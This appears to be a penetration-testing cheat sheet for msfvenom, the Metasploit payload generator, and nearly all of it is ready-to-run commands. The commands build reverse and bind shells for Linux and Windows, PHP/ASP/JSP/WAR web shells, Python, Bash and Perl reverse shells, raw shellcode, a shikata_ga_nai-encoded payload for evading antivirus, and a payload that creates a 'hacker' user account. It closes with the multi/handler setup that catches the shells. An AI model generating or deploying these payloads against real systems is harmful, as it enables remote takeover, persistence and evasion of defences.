# MSFVenom ### List Payloads ``` msfvenom -l ``` ### Binaries Payloads **Linux Meterpreter Reverse Shell:** ``` msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= LPORT= -f elf > shell.elf ``` **Linux Bind Meterpreter Shell** ``` msfvenom -p linux/x86/meterpreter/bind_tcp RHOST= LPORT= -f elf > bind.elf ``` **Linux Bind Shell** ``` msfvenom -p generic/shell_bind_tcp RHOST= LPORT= -f elf > term.elf ``` **Windows Meterpreter Reverse TCP Shell** ``` msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f exe > shell.exe ``` **Windows Reverse TCP Shell** ``` msfvenom -p windows/shell/reverse_tcp LHOST= LPORT= -f exe > shell.exe ``` **Windows Encoded Meterpreter Windows Reverse Shell** ``` msfvenom -p windows/meterpreter/reverse_tcp -e shikata_ga_nai -i 3 -f exe > encoded.exe ``` ### Web Payloads **PHP Meterpreter Reverse TCP** ``` msfvenom -p php/meterpreter_reverse_tcp LHOST= LPORT= -f raw > shell.php ``` **ASP Meterpreter Reverse TCP** ``` msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f asp > shell.asp ``` **JSP Java Meterpreter Reverse TCP** ``` msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f raw > shell.jsp ``` ### WAR ``` msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f war > shell.war ``` ### Scripting Payloads **Python Reverse Shell** ``` msfvenom -p cmd/unix/reverse_python LHOST= LPORT= -f raw > shell.py ``` **Bash Unix Reverse Shell** ``` msfvenom -p cmd/unix/reverse_bash LHOST= LPORT= -f raw > shell.sh ``` **Perl Unix Reverse shell** ``` msfvenom -p cmd/unix/reverse_perl LHOST= LPORT= -f raw > shell.pl ``` ### Shellcode **Windows Meterpreter Reverse TCP Shellcode** ``` msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f ``` **Linux Meterpreter Reverse TCP Shellcode** ``` msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= LPORT= -f ``` **POP Calulator** ``` msfvenom -p windows/exec CMD=calc.exe -b '\x00\x0A\x0D' -f c ``` ### Create User ``` msfvenom -p windows/adduser USER=hacker PASS=Hacker123$ -f exe > adduser.exe ``` ### Metasploit Handler ``` use exploit/multi/handler set PAYLOAD set RHOST set LHOST set LPORT Run ```